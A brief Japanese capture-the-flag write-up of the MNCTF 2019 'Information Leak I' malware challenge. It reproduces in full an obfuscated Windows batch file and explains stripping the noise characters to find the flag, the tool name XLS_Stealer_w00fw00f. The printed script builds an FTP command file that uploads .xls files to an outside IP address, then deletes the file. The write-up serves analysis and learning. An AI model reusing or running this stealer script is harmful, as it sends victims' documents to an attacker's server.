@toRi

できたてほやほやのエンジニアです。インフラ、セキュリティ系です。ふんわり命がけ(´・ω・)

MNCTF 2019 情報漏洩I(マルウェア) 100pts

無題1

zipファイルを与えられたパスワードを使って解凍しました。

batファイルがあるので、VScodeで開いてみました。


%P%@%r%e%I%c%g%h%E%o%R% %I%o%y%f%J%f%L%
%d%R%f%E%R%M%z% %y%T%z%O%g%O%M%L%l% %P%N%F%A%u%M%E%E%I%:%E% %Y% %E% %F%X%b%L%b%S%S%_%W%S%l%t%K%e%T%a%X%l%P%e%r%r%K%_%C%w%u%0%Y%0%B%f%p%w%j%0%M%0%w%f%B%
%c%R%L%E%K%M%G% %T%A%h%U%D%T%J%H%l%O%w%R%I%:%v% %o% %q% %q% %a% %G% %z%@%p%S%j%h%M%1%h%n%w%0%O%g%N%1%A%
%a%R%p%E%w%M%A% %R%C%Z%O%N%M%I%M%Z%E%b%N%G%T%e%:%W% %r% %i% %t% %t% %a%T%d%h%Z%i%h%s%c% %c%i%w%s%w% %k%a%V% %K%p%p%a%B%r%d%t%m% %s%o%L%f%l% %P%M%B%N%u%C%i%T%N%F%u%2%a%0%q%1%q%9%G%,%N% %x%n%O%o%C%t%F% %r%a%B% %s%r%j%e%s%a%Z%l%o% %n%m%s%a%s%l%m%w%C%a%o%r%h%e%d%.%F%
%l%
%Y%i%S%f%X% %z%A%B%%USERDOMAIN%A%J% %k%N%j%E%N%Q%C% %I%A%M%M%Z%A%M%C%s%N%c%I%r%K%S%I%k%A%o% %G%e%F%x%O%i%O%t%M%
%z%e%v%c%K%h%v%o%S% %s%o%I%p%g%e%Z%n%I% %F%1%f%5%M%7%t%.%F%7%Q%.%G%5%T%3%V%.%d%1%P%9%z%7%w%>%h% %s%t%B%e%I%m%I%p%m%.%u%t%g%x%c%t%n%
%K%e%o%c%R%h%y%o%f% %I%P%m%4%f%5%k%5%P%w%J%0%p%r%x%d%q%>%x%>%W% %S%t%U%e%D%m%Y%p%P%.%J%t%z%x%J%t%u%
%g%R%W%E%X%M%L% %g%L%V%o%J%r%r%e%a%m%n% %g%i%c%p%C%s%h%u%R%m%F% %L%d%h%o%A%l%F%o%K%r%P% %Q%s%S%i%m%t%D% %H%a%J%m%I%e%P%t%K%,%d% %o%c%X%o%a%n%m%s%J%e%W%c%T%t%h%e%I%t%D%u%J%r%G% %x%a%h%d%F%i%l%p%J%i%G%s%G%c%O%i%A%n%Y%g%D% %A%e%b%l%M%i%y%t%z%,%U% %d%s%u%e%m%d%q% %H%d%m%o%H% %N%e%V%i%x%u%Z%s%a%m%Q%o%h%d%c% %I%t%j%e%x%m%P%p%k%o%w%r%j% %o%i%z%n%d%c%w%i%e%d%m%i%o%d%l%u%I%n%l%t%m% %X%u%n%t%j% %G%l%m%a%P%b%V%o%a%r%I%e%l% %A%e%v%t%I% %w%d%O%o%F%l%o%o%O%r%C%e%m% %a%m%s%a%G%g%Z%n%V%a%Q% %m%a%X%l%S%i%B%q%t%u%u%a%c%.%j% %R%U%b%t%O% %V%e%n%n%m%i%l%m%L% %p%a%H%d%p% %C%m%t%i%A%n%d%i%p%m%V% %o%v%l%e%u%n%e%i%R%a%c%m%z%,%y% %Z%q%f%u%Y%i%l%s%O% %W%n%P%o%Y%s%e%t%s%r%t%u%q%d%s% %D%e%X%x%y%e%p%r%f%c%s%i%h%t%G%a%l%t%I%i%Q%o%q%n%A% %U%u%P%l%f%l%M%a%e%m%T%c%S%o%N% %x%l%I%a%r%b%r%o%h%r%L%i%d%s%c% %f%n%W%i%B%s%f%i%K% %T%u%x%t%s% %z%a%O%l%F%i%O%q%O%u%K%i%a%p%c% %d%e%j%x%b% %f%e%A%a%V% %L%c%a%o%T%m%s%m%R%o%O%d%u%o%B% %a%c%q%o%H%n%U%s%l%e%i%q%X%u%K%a%i%t%w%.%U% %F%D%X%u%x%i%z%s%o% %u%a%c%u%I%t%D%e%f% %X%i%J%r%z%u%f%r%H%e%k% %u%d%U%o%o%l%X%o%e%r%E% %E%i%g%n%D% %y%r%a%e%H%p%R%r%d%e%I%h%U%e%M%n%r%d%u%e%R%r%Q%i%R%t%b% %x%i%G%n%B% %e%v%U%o%Q%l%X%u%U%p%P%t%P%a%M%t%n%e%k% %c%v%p%e%X%l%l%i%n%t%i% %N%e%f%s%y%s%D%e%J% %h%c%D%i%u%l%L%l%D%u%U%m%U% %U%d%u%o%E%l%g%o%c%r%v%e%Q% %K%e%n%u%U% %l%f%o%u%c%g%g%i%Y%a%g%t%i% %C%n%W%u%W%l%U%l%M%a%j% %T%p%S%a%z%r%s%i%H%a%O%t%C%u%d%r%m%.%R% %Q%E%P%x%b%c%C%e%R%p%A%t%N%e%D%u%g%r%M% %E%s%o%i%t%n%m%t%g% %W%o%q%c%J%c%t%a%w%e%c%c%p%a%r%t%b% %e%c%X%u%y%p%c%i%I%d%S%a%U%t%F%a%K%t%y% %C%n%h%o%b%n%F% %x%p%a%r%R%o%Y%i%A%d%b%e%f%n%l%t%u%,%v% %F%s%l%u%b%n%G%t%B% %p%i%q%n%U% %k%c%z%u%u%l%C%p%z%a%t% %f%q%r%u%y%i%R% %d%o%a%f%k%f%S%i%S%c%w%i%k%a%g% %P%d%p%e%o%s%M%e%E%r%k%u%Y%n%T%t%Q% %C%m%R%o%x%l%f%l%d%i%Y%t%f% %m%a%N%n%g%i%G%m%V% %g%i%s%d%X% %L%e%Y%s%y%t%n% %M%l%H%a%N%b%q%o%c%r%X%u%U%m%A%.%P%
%m%e%S%c%H%h%i%o%s% %L%f%F%t%y%p%l%-%U%u%G%s%W%e%f%r%t%>%j%>%L% %z%t%l%e%X%m%A%p%M%.%g%t%R%x%X%t%X%
%x%e%R%c%U%h%R%o%y% %k%b%J%i%f%n%D%>%O%>%V%t%E%e%y%m%z%p%Z%.%R%t%u%x%m%t%c%
%D%R%m%E%A%M%a% %z%L%O%o%I%r%w%e%n%m%s% %g%i%j%p%J%s%R%u%t%m%L% %n%d%x%o%P%l%j%o%R%r%Y% %l%s%W%i%N%t%i% %J%a%m%m%K%e%h%t%H%,%G% %X%c%K%o%L%n%J%s%a%e%K%c%G%t%y%e%A%t%u%u%Q%r%h% %w%a%B%d%c%i%q%p%n%i%q%s%o%c%a%i%s%n%u%g%O% %K%e%f%l%i%i%w%t%y%,%c% %O%s%Y%e%F%d%W% %k%d%W%o%v% %e%e%M%i%k%u%I%s%b%m%e%o%F%d%Y% %K%t%r%e%C%m%x%p%S%o%f%r%n% %w%i%q%n%t%c%P%i%x%d%G%i%Z%d%j%u%i%n%r%t%e% %R%u%T%t%V% %t%l%Z%a%e%b%G%o%q%r%q%e%W% %r%e%r%t%X% %b%d%q%o%i%l%o%o%f%r%m%e%j% %n%m%w%a%Z%g%q%n%Y%a%C% %M%a%p%l%Y%i%B%q%e%u%I%a%N%.%t% %n%U%f%t%T% %O%e%L%n%D%i%b%m%B% %e%a%d%d%F% %j%m%T%i%t%n%a%i%i%m%q% %y%v%s%e%P%n%s%i%R%a%j%m%c%,%K% %f%q%J%u%I%i%u%s%H% %m%n%e%o%F%s%L%t%F%r%r%u%s%d%S% %g%e%F%x%P%e%r%r%K%c%O%i%T%t%e%a%m%t%X%i%V%o%m%n%V% %u%u%W%l%e%l%w%a%X%m%M%c%N%o%Y% %c%l%n%a%B%b%u%o%z%r%m%i%a%s%v% %g%n%f%i%F%s%a%i%E% %n%u%A%t%A% %H%a%l%l%Q%i%a%q%J%u%y%i%J%p%Y% %n%e%Q%x%z% %D%e%s%a%j% %d%c%g%o%C%m%H%m%O%o%K%d%b%o%u% %Z%c%n%o%H%n%H%s%y%e%P%q%i%u%Z%a%J%t%w%.%f% %q%D%x%u%Q%i%x%s%k% %w%a%y%u%k%t%I%e%t% %B%i%C%r%j%u%U%r%p%e%X% %Y%d%L%o%E%l%b%o%E%r%c% %z%i%h%n%h% %P%r%h%e%N%p%G%r%h%e%B%h%O%e%q%n%S%d%u%e%n%r%F%i%v%t%B% %Y%i%r%n%E% %u%v%N%o%v%l%B%u%U%p%E%t%B%a%H%t%o%e%G% %i%v%x%e%O%l%B%i%o%t%w% %Z%e%D%s%X%s%G%e%e% %v%c%w%i%q%l%N%l%X%u%I%m%s% %x%d%W%o%X%l%q%o%y%r%q%e%b% %k%e%r%u%I% %B%f%W%u%P%g%p%i%C%a%Q%t%w% %k%n%X%u%M%l%F%l%O%a%g% %o%p%e%a%b%r%F%i%W%a%K%t%N%u%A%r%F%.%z% %t%E%W%x%v%c%v%e%l%p%u%t%E%e%p%u%c%r%G% %j%s%H%i%W%n%P%t%q% %Y%o%R%c%u%c%X%a%Z%e%i%c%L%a%n%t%Q% %W%c%Y%u%C%p%p%i%k%d%J%a%B%t%u%a%o%t%m% %v%n%M%o%q%n%P% %r%p%k%r%V%o%x%i%G%d%y%e%O%n%x%t%a%,%Q% %m%s%h%u%J%n%F%t%S% %f%i%Z%n%B% %h%c%x%u%l%l%e%p%k%a%K% %V%q%u%u%Z%i%o% %t%o%y%f%T%f%X%i%L%c%Z%i%J%a%E% %w%d%o%e%Y%s%u%e%Z%r%g%u%W%n%y%t%F% %y%m%y%o%E%l%j%l%I%i%b%t%e% %K%a%c%n%H%i%O%m%g% %B%i%z%d%K% %g%e%r%s%G%t%e% %R%l%u%a%j%b%X%o%g%r%o%u%L%m%O%.%F%
%z%e%F%c%e%h%Z%o%y% %I%m%x%p%e%u%n%t%S% %d%*%A%.%y%x%N%l%f%s%T%*%j%>%d%>%a%t%f%e%E%m%C%p%i%.%J%t%P%x%U%t%m%
%I%e%L%c%D%h%Q%o%R% %r%q%h%u%y%i%N%t%Q%>%G%>%b% %g%t%T%e%X%m%H%p%S%.%W%t%b%x%S%t%A%
%g%
%F%R%Y%E%Y%M%g% %t%L%C%o%L%r%R%e%O%m%t% %A%i%L%p%z%s%K%u%y%m%W% %m%d%D%o%j%l%e%o%I%r%T% %D%s%B%i%a%t%G% %G%a%H%m%M%e%R%t%q%,%i% %h%c%M%o%i%n%R%s%W%e%r%c%L%t%g%e%p%t%e%u%o%r%C% %l%a%T%d%C%i%w%p%W%i%x%s%G%c%Z%i%h%n%P%g%b% %u%e%v%l%V%i%O%t%o%,%z% %q%s%v%e%p%d%s% %j%d%m%o%U% %d%e%M%i%v%u%V%s%T%m%E%o%H%d%f% %u%t%G%e%f%m%W%p%W%o%J%r%Q% %z%i%k%n%L%c%i%i%Z%d%C%i%a%d%Y%u%d%n%j%t%V% %N%u%K%t%B% %W%l%O%a%U%b%a%o%o%r%a%e%I% %y%e%U%t%T% %P%d%e%o%W%l%u%o%X%r%T%e%x% %N%m%D%a%L%g%W%n%m%a%T% %w%a%n%l%T%i%g%q%w%u%B%a%E%.%r% %S%U%t%t%i% %R%e%s%n%K%i%Y%m%r% %t%a%S%d%H% %b%m%z%i%x%n%k%i%E%m%h% %x%v%V%e%X%n%K%i%Y%a%K%m%W%,%v% %W%q%X%u%R%i%Z%s%k% %b%n%t%o%f%s%B%t%J%r%y%u%p%d%m% %u%e%V%x%V%e%w%r%m%c%m%i%k%t%p%a%y%t%X%i%X%o%N%n%S% %h%u%S%l%v%l%z%a%t%m%p%c%r%o%O% %q%l%t%a%k%b%h%o%B%r%Y%i%D%s%C% %c%n%e%i%p%s%z%i%Q% %H%u%I%t%f% %Z%a%J%l%f%i%W%q%B%u%s%i%W%p%m% %J%e%H%x%I% %R%e%g%a%A% %u%c%r%o%R%m%K%m%l%o%V%d%Q%o%Z% %Q%c%l%o%Q%n%n%s%q%e%d%q%Q%u%Q%a%C%t%p%.%I% %E%D%w%u%V%i%c%s%t% %X%a%i%u%x%t%y%e%V% %l%i%n%r%p%u%I%r%T%e%H% %A%d%O%o%g%l%C%o%B%r%h% %r%i%m%n%T% %Q%r%J%e%Q%p%l%r%w%e%B%h%M%e%r%n%f%d%g%e%Y%r%r%i%B%t%g% %i%i%Q%n%X% %S%v%K%o%n%l%X%u%J%p%x%t%N%a%k%t%N%e%o% %W%v%j%e%S%l%Y%i%U%t%U% %C%e%X%s%Y%s%a%e%T% %c%c%H%i%y%l%G%l%g%u%P%m%p% %l%d%s%o%i%l%P%o%Y%r%m%e%X% %m%e%y%u%l% %u%f%b%u%q%g%A%i%G%a%y%t%H% %S%n%u%u%B%l%r%l%K%a%K% %c%p%Q%a%p%r%S%i%o%a%y%t%M%u%f%r%F%.%b% %O%E%Z%x%e%c%D%e%Z%p%r%t%v%e%L%u%t%r%g% %n%s%D%i%Y%n%n%t%p% %C%o%X%c%m%c%W%a%W%e%l%c%A%a%z%t%G% %P%c%Z%u%z%p%Q%i%f%d%H%a%c%t%g%a%R%t%O% %N%n%I%o%a%n%C% %h%p%x%r%U%o%i%i%t%d%l%e%i%n%X%t%D%,%s% %s%s%V%u%X%n%p%t%y% %X%i%b%n%P% %n%c%Y%u%q%l%Q%p%S%a%V% %C%q%x%u%s%i%N% %a%o%t%f%u%f%P%i%h%c%y%i%S%a%W% %Y%d%k%e%N%s%J%e%y%r%x%u%B%n%i%t%K% %H%m%I%o%V%l%l%l%l%i%v%t%K% %M%a%M%n%O%i%f%m%O% %u%i%V%d%L% %G%e%m%s%F%t%B% %c%l%x%a%J%b%I%o%F%r%K%u%u%m%W%.%D%
%u%f%N%t%r%p%y% %p%-%i%i%M% %c%-%u%s%r%:%M%t%p%e%t%m%Z%p%J%.%t%t%E%x%r%t%Q%
%x%d%S%e%S%l%n% %E%t%X%e%e%m%G%p%M%.%o%t%k%x%q%t%y%
%S%

VScodeで開くとシンタックスハイライトされている部分があり、それを取り除くと一行めに@echoが見えるので、正規表現の.*で余分な部分を取り除きました。

無題1

ツール名がXLS_Stealer_w00fw00f(フラグ)ありました。

無題1